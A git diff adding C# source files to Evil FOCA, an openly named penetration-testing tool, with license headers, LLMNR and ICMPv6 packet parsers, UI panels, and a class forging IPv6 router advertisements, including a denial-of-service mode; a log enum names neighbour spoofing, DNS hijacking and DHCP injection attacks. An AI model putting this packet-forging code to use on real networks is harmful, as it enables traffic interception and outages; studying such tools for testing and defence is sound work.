+using System.Text; +using System.Net; +using System.Net.NetworkInformation; +using System.IO; + +namespace evilfoca.ICMPv6 +{ + class NeighborRouterAdvertisement + { + private PhysicalAddress PhysicalAddress; + private bool DoSPacket = false; + private byte[] prefix; + + public NeighborRouterAdvertisement(PhysicalAddress localMac) + { + this.PhysicalAddress = localMac; + } + + public NeighborRouterAdvertisement(PhysicalAddress localMac, byte[] prefix, bool isDosPacket) + : this(localMac) + { + this.prefix = prefix; + this.DoSPacket = isDosPacket; + } + + public byte[] GetBytes() + { + //byte[] raw = new byte[56+24]; + byte[] raw = new byte[56]; + + MemoryStream ms = new MemoryStream(raw); + BinaryWriter bw = new BinaryWriter(ms); + + // Type, 0x86 -> router advertisement + bw.Write((byte)0x86); + // code + bw.Write((byte)0x00); + // Checksum (2 bytes), lo autorrellena luego + bw.Write((byte)0x00); + bw.Write((byte)0x00); + // Cur hop limit + bw.Write((byte)0xFF); + // Flags, 0x8 -> default router preference: high (1) + // Flags, 0x44 -> default router preference: high (1) & Other configuration + bw.Write((byte)0x48); + // router lifetime + bw.Write(new byte[] { 0x7, 0x8 }); + // reachable time + bw.Write(new byte[] { 0x0, 0x0, 0x0, 0x0 }); + // retrans time + bw.Write(new byte[] { 0x0, 0x0, 0x0, 0x0 }); + { + // Type: prefix information + bw.Write((byte)0x3); + // Length -> 4 (32 bytes) + bw.Write((byte)0x4); + // prefix length + bw.Write((byte)0x40); + // Flags -> Onlink, autonomous address configuration + bw.Write((byte)0xc0); + // Valid lifetime + if (DoSPacket) + bw.Write(new byte[] { 0xff, 0xff, 0xff, 0xff }); + else + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x05 }); + // prefered lifetime + if (DoSPacket) + bw.Write(new byte[] { 0xff, 0xff, 0xff, 0xff }); + else + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x05 }); + // reserved + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00 }); + + + // prefix (prefijo de la IP del router?) <--Prefijo de la red con la que se tiene que configurar la IPv6 del equipo + if (DoSPacket) + { + bw.Write(prefix); + bw.Write(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }); + } + else + { + if (prefix != null) + bw.Write(prefix); + else + bw.Write(new byte[] { 0xfd, 0xe5, 0xbe, 0x81, 0xc0, 0x3b, 0xda, 0xf4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03 }); + } + } + { + // type (source link layer) + bw.Write((byte)0x01); + // length + bw.Write((byte)0x01); + // Mac local + bw.Write(PhysicalAddress.GetAddressBytes()); + } + + return raw; + } + + } +} diff --git a/EvilFoca/ICMPv6/NeighborSolicitation.cs b/EvilFoca/ICMPv6/NeighborSolicitation.cs new file mode 100644 index 0000000..c4c64ce --- /dev/null +++ b/EvilFoca/ICMPv6/NeighborSolicitation.cs @@ -0,0 +1,62 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.Net; +using System.Net.NetworkInformation; + +namespace evilfoca.ICMPv6 +{ + class NeighborSolicitation + { + byte[] raw; + public IPAddress solicitedAddress = null; + public PhysicalAddress sourceAddress = null; + + public NeighborSolicitation(byte[] nbSolicitation) + { + raw = nbSolicitation; + ParsePacket(); + } + + private void ParsePacket() + { + MemoryStream ms = new MemoryStream(raw); + BinaryReader br = new BinaryReader(ms); + + // type + br.ReadByte(); // Debe ser 135 (0x87) + // code + br.ReadByte(); + // checksum + br.ReadInt16(); + // reserver + br.ReadInt32(); + // target address + solicitedAddress = new IPAddress(br.ReadBytes(16)); + // type source link address + br.ReadByte(); + // longitud mac + br.ReadByte(); // Siempre serán 8 bytes, una MAC. + sourceAddress = new PhysicalAddress(br.ReadBytes(8)); + } + } +} diff --git a/EvilFoca/LLMNR/DNSAnswer.cs b/EvilFoca/LLMNR/DNSAnswer.cs new file mode 100644 index 0000000..0d80ed3 --- /dev/null +++ b/EvilFoca/LLMNR/DNSAnswer.cs @@ -0,0 +1,54 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Net; + +namespace evilfoca.LLMNR +{ + public class DNSAnswer + { + public DNSType? Type { get; internal set; } + public DNSClass? Class { get; internal set; } + public string Name { get; internal set; } + public Int32 TTL { get; internal set; } + public Int16 RDLength { get; internal set; } + public byte[] RData { get; internal set; } + + public IPAddress IpAddressData + { + get + { + try + { + if (RData.Length == 4 || RData.Length == 16) + return new IPAddress(RData); + else + return null; + } + catch (Exception) + { + return null; + } + } + } + public DNSAnswer() + { + RData = new byte[0]; + } + } +} diff --git a/EvilFoca/LLMNR/DNSQuery.cs b/EvilFoca/LLMNR/DNSQuery.cs new file mode 100644 index 0000000..2da6112 --- /dev/null +++ b/EvilFoca/LLMNR/DNSQuery.cs @@ -0,0 +1,27 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ + +namespace evilfoca.LLMNR +{ + public class DNSQuery + { + public DNSType? Type { get; internal set; } + public DNSClass? Class { get; internal set; } + public string Name { get; internal set; } + } +} diff --git a/EvilFoca/LLMNR/LLMNRAnswer.cs b/EvilFoca/LLMNR/LLMNRAnswer.cs new file mode 100644 index 0000000..472e770 --- /dev/null +++ b/EvilFoca/LLMNR/LLMNRAnswer.cs @@ -0,0 +1,123 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.IO; +using System.Net; + +namespace evilfoca.LLMNR +{ + // + // Link-local Multicast Name Resolution + // Ipv4 y IPv6 + // + // http://en.wikipedia.org/wiki/Link-local_Multicast_Name_Resolution + // + + class LLMNRAnswer + { + byte[] raw; + public string computerName = string.Empty; + public IPAddress ipAddress = null; + public bool isPtrResponse = false; + + public LLMNRAnswer(byte[] LLMNRPayloadRaw) + { + raw = LLMNRPayloadRaw; + ParsePacket(); + } + + private void ParsePacket() + { + MemoryStream ms = new MemoryStream(raw); + BinaryReader br = new BinaryReader(ms); + + // transaction id + br.ReadInt16(); + // flags + br.ReadInt16(); + // questions + Int16 questions = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // answers RRs + Int16 answers = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // autority RRs + br.ReadInt16(); + // additional RRs + br.ReadInt16(); + + // Parseamos solo si se hizo una solicitud y se obtuvo una respuesta + if ((questions != 1) && (answers != 1)) + return; + + // query name + string queryName = br.ReadString(); + br.ReadByte(); // 0x00 despues de string + + // type + Int16 typeQuery = IPAddress.NetworkToHostOrder(br.ReadInt16()); + if ((typeQuery == 0x0c) || (typeQuery == 0x01)) + isPtrResponse = true; + else + { + return; + //isPtrResponse = false; + //queryName = ""; + } + + + //class + Int16 classQuery = IPAddress.NetworkToHostOrder(br.ReadInt16()); + + // answer name + string answerName = br.ReadString(); + br.ReadByte(); // 0x00 despues de string + + // type answer + Int16 typeAnswer = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // class answer + Int16 classAnswer = IPAddress.NetworkToHostOrder(br.ReadInt16()); + // time to live + Int32 timeToLive = br.ReadInt32(); + // longitud de la ip, ¿ipv4 o ipv6? + Int16 ipLen = IPAddress.NetworkToHostOrder(br.ReadInt16()); + + if (ipLen == 4) // ipv4 + { + byte[] ipV4 = new byte[ipLen]; + + for (int i = 0; i < ipLen; i++) + ipV4[i] = br.ReadByte(); + this.ipAddress = new IPAddress(ipV4); + + } + else if (ipLen == 16) // ipv6 + { + byte[] ipV6 = new byte[ipLen]; + + for (int i = 0; i < ipLen; i++) + ipV6[i] = br.ReadByte(); + this.ipAddress = new IPAddress(ipV6); + } + + this.computerName = answerName; + } + + } +} diff --git a/EvilFoca/LLMNR/LLMNRPacket.cs b/EvilFoca/LLMNR/LLMNRPacket.cs new file mode 100644 index 0000000..7d3c70c --- /dev/null +++ b/EvilFoca/LLMNR/LLMNRPacket.cs @@ -0,0 +1,190 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using evilfoca.Data; + +namespace evilfoca.LLMNR +{ + public enum DNSType + { + A = 1, + CNAME = 5, + SOA = 6, + PTR = 12, + TXT = 16, + AAAA = 28 + } + + public enum DNSClass + { + IN = 1 + } + + public class LLMNRPacket + { + //Header Fields + public byte[] Id { get; private set; } + public Int16 OpCode { get; private set; } + public bool C { get; set; } + public bool TC { get; set; } + public bool T { get; set; } + public bool IsResponse { get; set; } + public Int16 RCode { get; private set; } + public Int16 QDCOUNT { get; private set; } + public Int16 ANCOUNT { get; private set; } + public Int16 NSCOUNT { get; private set; } + public Int16 ARCOUNT { get; private set; } + + public DNSQuery Query { get; private set; } + public List AnswerList { get; private set; } + + public LLMNRPacket() + { + AnswerList = new List(); + } + + public void ParsePacket(byte[] LLMNRPayloadRaw) + { + try + { + using (MemoryStream ms = new MemoryStream(LLMNRPayloadRaw)) + { + using (BitReader bitReader = new BitReader(ms)) + { + // transaction id + this.Id = new byte[] { (byte)bitReader.ReadByte(), (byte)bitReader.ReadByte() }; + // flags + IsResponse = bitReader.ReadBit(); //1bit + OpCode = (short)bitReader.ReadLSB(4); //4bits + C = bitReader.ReadBit(); //1bit + TC = bitReader.ReadBit(); //1bit + T = bitReader.ReadBit(); //1bit + bitReader.ReadLSB(4); //4bits ZZZZ + RCode = (short)bitReader.ReadLSB(4); //4bits + + // questions + QDCOUNT = IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + // answers RRs + ANCOUNT = IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + // autority RRs + NSCOUNT = IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + // additional RRs + ARCOUNT = IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + + this.Query = new DNSQuery(); + + // query name + this.Query.Name = bitReader.ReadStringLSB(); + // type + this.Query.Type = (DNSType?)IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + //class + this.Query.Class = (DNSClass?)IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + + for (int i = 0; i < this.ANCOUNT; i++) + { + DNSAnswer answer = new DNSAnswer(); + + // answer name + answer.Name = bitReader.ReadStringLSB(); + // type answer + answer.Type = (DNSType)IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + // class answer + answer.Class = (DNSClass?)IPAddress.NetworkToHostOrder(bitReader.ReadLSB(16)); + // time to live + answer.TTL = bitReader.ReadLSB(32); + // longitud RData + answer.RDLength = IPAddress.NetworkToHostOrder((short)bitReader.ReadLSB(16)); + List arrayList = new List(); + for (int index = 0; index < answer.RDLength; index++) + arrayList.Add((byte)bitReader.ReadByte()); + answer.RData = arrayList.ToArray(); + + this.AnswerList.Add(answer); + } + } + } + } + catch (Exception) + { + } + } + + public byte[] BuildPacket() + { + using (MemoryStream ms = new MemoryStream()) + { + using (BitWriter writer = new BitWriter(ms)) + { + //Id + writer.WriteByte(this.Id[0]); + writer.WriteByte(this.Id[1]); + + // flags + writer.WriteByte(0x80); + writer.WriteByte(0x00); + + // questions + writer.WriteInt16(IPAddress.HostToNetworkOrder(QDCOUNT)); + // answers RRs + writer.WriteInt16(IPAddress.HostToNetworkOrder((short)AnswerList.Count)); + // autority RRs + writer.WriteInt16(IPAddress.HostToNetworkOrder(NSCOUNT)); + // additional RRs + writer.WriteInt16(IPAddress.HostToNetworkOrder(ARCOUNT)); + + //QUERY + if (this.Query != null) + { + // query name + writer.WriteString(Query.Name); + // type + writer.WriteInt16(IPAddress.HostToNetworkOrder((Query.Type.HasValue ? (short)Query.Type.Value : (short)0))); + //class + writer.WriteInt16(IPAddress.HostToNetworkOrder((Query.Class.HasValue ? (short)Query.Class.Value : (short)0))); + } + foreach (var item in AnswerList) + { + + // answer name + writer.WriteString(item.Name); + // type answer + writer.WriteInt16(IPAddress.HostToNetworkOrder((item.Type.HasValue ? (short)item.Type.Value : (short)0))); + // class answer + writer.WriteInt16(IPAddress.HostToNetworkOrder((item.Class.HasValue ? (short)item.Class.Value : (short)0))); + // time to live + writer.WriteByte(0x00); + writer.WriteByte(0x00); + writer.WriteByte(0x00); + writer.WriteByte(0x1e); + + // longitud RData + writer.WriteInt16(IPAddress.HostToNetworkOrder((short)item.RData.Length)); + //RDATA + for (int index = 0; index < item.RData.Length; index++) + writer.WriteByte(item.RData[index]); + } + } + return ms.ToArray(); + } + + } + } +} diff --git a/EvilFoca/Logs/Log.cs b/EvilFoca/Logs/Log.cs new file mode 100644 index 0000000..4a080a3 --- /dev/null +++ b/EvilFoca/Logs/Log.cs @@ -0,0 +1,52 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace evilfoca.Logs +{ + public class Log + { + public enum LogType + { + Neighbor, + NeighborSpoofing, + DNSHijacking, + DHCPACKInjection, + NetworkDiscovery, + Core, + DoS, + WpadIPv4, + WpadIPv6 + } + + + public LogType logType; + public string message; + public DateTime datetime; + + public Log(string message, LogType logType) + { + datetime = DateTime.Now; + this.logType = logType; + this.message = message; + } + } +} diff --git a/EvilFoca/PanelLogs.Designer.cs b/EvilFoca/PanelLogs.Designer.cs new file mode 100644 index 0000000..d05d6ef --- /dev/null +++ b/EvilFoca/PanelLogs.Designer.cs @@ -0,0 +1,105 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class PanelLogs + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.listViewExLogs = new evilfoca.Controls.ListViewEx.ListViewEx(); + this.Time = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.Module = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.Message = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.SuspendLayout(); + // + // listViewExLogs + // + this.listViewExLogs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.listViewExLogs.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.Time, + this.Module, + this.Message}); + this.listViewExLogs.GridLines = true; + this.listViewExLogs.Location = new System.Drawing.Point(3, 3); + this.listViewExLogs.MultiSelect = false; + this.listViewExLogs.Name = "listViewExLogs"; + this.listViewExLogs.Size = new System.Drawing.Size(700, 175); + this.listViewExLogs.TabIndex = 3; + this.listViewExLogs.UseCompatibleStateImageBehavior = false; + this.listViewExLogs.View = System.Windows.Forms.View.Details; + // + // Time + // + this.Time.Text = "Time"; + this.Time.Width = 80; + // + // Module + // + this.Module.Text = "Module"; + this.Module.Width = 140; + // + // Message + // + this.Message.Text = "Message"; + this.Message.Width = 600; + // + // PanelLogs + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.listViewExLogs); + this.Name = "PanelLogs"; + this.Size = new System.Drawing.Size(618, 181); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader Time; + private System.Windows.Forms.ColumnHeader Module; + private System.Windows.Forms.ColumnHeader Message; + public Controls.ListViewEx.ListViewEx listViewExLogs; + } +} diff --git a/EvilFoca/PanelLogs.cs b/EvilFoca/PanelLogs.cs new file mode 100644 index 0000000..e7b7ff0 --- /dev/null +++ b/EvilFoca/PanelLogs.cs @@ -0,0 +1,57 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace evilfoca +{ + public partial class PanelLogs : UserControl + { + internal SynchronizedCollection logs; + // + public PanelLogs() + { + InitializeComponent(); + logs = new SynchronizedCollection(); + listViewExLogs.FullRowSelect = true; + } + + public void AddLog(Logs.Log log) + { + logs.Add(log); + + listViewExLogs.Invoke(new MethodInvoker(delegate + { + ListViewItem lvi = new ListViewItem(); + lvi.Tag = log; + lvi.Text = log.datetime.ToShortTimeString(); + lvi.SubItems.Add(log.logType.ToString()); + lvi.SubItems.Add(log.message); + + listViewExLogs.Items.Add(lvi); + lvi.EnsureVisible(); + })); + } + } +} diff --git a/EvilFoca/PanelLogs.resx b/EvilFoca/PanelLogs.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/PanelLogs.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/PanelTarget.Designer.cs b/EvilFoca/PanelTarget.Designer.cs new file mode 100644 index 0000000..b3a5e3f --- /dev/null +++ b/EvilFoca/PanelTarget.Designer.cs @@ -0,0 +1,178 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class PanelTarget + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.splitContainerAttacksNeigborAdvSpoof = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.imgClearTargets = new System.Windows.Forms.PictureBox(); + this.label1 = new System.Windows.Forms.Label(); + this.imgAddTargets = new System.Windows.Forms.PictureBox(); + this.listBoxTargets = new System.Windows.Forms.ListBox(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainerAttacksNeigborAdvSpoof)).BeginInit(); + this.splitContainerAttacksNeigborAdvSpoof.Panel2.SuspendLayout(); + this.splitContainerAttacksNeigborAdvSpoof.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.imgClearTargets)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.imgAddTargets)).BeginInit(); + this.SuspendLayout(); + // + // splitContainerAttacksNeigborAdvSpoof + // + this.splitContainerAttacksNeigborAdvSpoof.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitContainerAttacksNeigborAdvSpoof.Location = new System.Drawing.Point(2, 3); + this.splitContainerAttacksNeigborAdvSpoof.Name = "splitContainerAttacksNeigborAdvSpoof"; + this.splitContainerAttacksNeigborAdvSpoof.Panel1Collapsed = true; + // + // splitContainerAttacksNeigborAdvSpoof.Panel2 + // + this.splitContainerAttacksNeigborAdvSpoof.Panel2.Controls.Add(this.splitContainer2); + this.splitContainerAttacksNeigborAdvSpoof.Size = new System.Drawing.Size(606, 158); + this.splitContainerAttacksNeigborAdvSpoof.SplitterDistance = 296; + this.splitContainerAttacksNeigborAdvSpoof.TabIndex = 5; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.imgClearTargets); + this.splitContainer2.Panel1.Controls.Add(this.label1); + this.splitContainer2.Panel1.Controls.Add(this.imgAddTargets); + this.splitContainer2.Panel1MinSize = 18; + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.listBoxTargets); + this.splitContainer2.Size = new System.Drawing.Size(606, 158); + this.splitContainer2.SplitterDistance = 25; + this.splitContainer2.TabIndex = 0; + // + // imgClearTargets + // + this.imgClearTargets.Dock = System.Windows.Forms.DockStyle.Right; + this.imgClearTargets.Image = global::evilfoca.Properties.Resources.Cancel; + this.imgClearTargets.Location = new System.Drawing.Point(570, 0); + this.imgClearTargets.Name = "imgClearTargets"; + this.imgClearTargets.Size = new System.Drawing.Size(18, 25); + this.imgClearTargets.TabIndex = 11; + this.imgClearTargets.TabStop = false; + this.imgClearTargets.Click += new System.EventHandler(this.imgClearTargets_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Dock = System.Windows.Forms.DockStyle.Left; + this.label1.Location = new System.Drawing.Point(0, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(43, 13); + this.label1.TabIndex = 5; + this.label1.Text = "Targets"; + // + // imgAddTargets + // + this.imgAddTargets.Dock = System.Windows.Forms.DockStyle.Right; + this.imgAddTargets.Image = global::evilfoca.Properties.Resources.Add; + this.imgAddTargets.Location = new System.Drawing.Point(588, 0); + this.imgAddTargets.Name = "imgAddTargets"; + this.imgAddTargets.Size = new System.Drawing.Size(18, 25); + this.imgAddTargets.TabIndex = 10; + this.imgAddTargets.TabStop = false; + this.imgAddTargets.Click += new System.EventHandler(this.imgAddTargets_Click); + // + // listBoxTargets + // + this.listBoxTargets.AllowDrop = true; + this.listBoxTargets.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.listBoxTargets.Dock = System.Windows.Forms.DockStyle.Fill; + this.listBoxTargets.FormattingEnabled = true; + this.listBoxTargets.Location = new System.Drawing.Point(0, 0); + this.listBoxTargets.Name = "listBoxTargets"; + this.listBoxTargets.Size = new System.Drawing.Size(606, 129); + this.listBoxTargets.TabIndex = 4; + this.listBoxTargets.DragDrop += new System.Windows.Forms.DragEventHandler(this.listBoxTargets_DragDrop); + this.listBoxTargets.DragEnter += new System.Windows.Forms.DragEventHandler(this.listBoxTargets_DragEnter); + // + // PanelTarget + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.splitContainerAttacksNeigborAdvSpoof); + this.Name = "PanelTarget"; + this.Size = new System.Drawing.Size(611, 164); + this.splitContainerAttacksNeigborAdvSpoof.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainerAttacksNeigborAdvSpoof)).EndInit(); + this.splitContainerAttacksNeigborAdvSpoof.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel1.PerformLayout(); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.imgClearTargets)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.imgAddTargets)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainerAttacksNeigborAdvSpoof; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.PictureBox imgClearTargets; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.PictureBox imgAddTargets; + private System.Windows.Forms.ListBox listBoxTargets; + + } +} diff --git a/EvilFoca/PanelTarget.cs b/EvilFoca/PanelTarget.cs new file mode 100644 index 0000000..46e1d75 --- /dev/null +++ b/EvilFoca/PanelTarget.cs @@ -0,0 +1,123 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System.Net; + +namespace evilfoca +{ + public partial class PanelTarget : UserControl + { + public PanelTargets.TypeList typeList = PanelTargets.TypeList.Ipv6; + + public PanelTarget() + { + InitializeComponent(); + } + + private void imgClearTargets_Click(object sender, EventArgs e) + { + listBoxTargets.Items.Clear(); + } + + private void imgAddTargets_Click(object sender, EventArgs e) + { + SynchronizedCollection ipsFiltered = new SynchronizedCollection(); + foreach (IPAddress ip in listBoxTargets.Items) + { + ipsFiltered.Add(ip); + } + + SynchronizedCollection ipsPrevFiltered = new SynchronizedCollection(); + foreach (IPAddress ip in listBoxTargets.Items) + { + ipsPrevFiltered.Add(ip); + } + + FormSelectIPs fSel = new FormSelectIPs(typeList, Data.Data.neighbors, true, null, ipsPrevFiltered); + fSel.ShowDialog(); + + SynchronizedCollection lstIps = fSel.GetSelectedIPs(); + + if (lstIps.Count > 0) + listBoxTargets.Items.Clear(); + + foreach (IPAddress ip in lstIps) + { + listBoxTargets.Items.Add(ip); + } + } + + private void listBoxTargets_DragDrop(object sender, DragEventArgs e) + { + if (typeList == PanelTargets.TypeList.Ipv6) + { + if (e.Data.GetDataPresent("System.Net.IPAddress", false)) + { + IPAddress ip = (IPAddress)e.Data.GetData("System.Net.IPAddress", false); + + if (ip.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) + FormMain.ShowMessage("You can't use 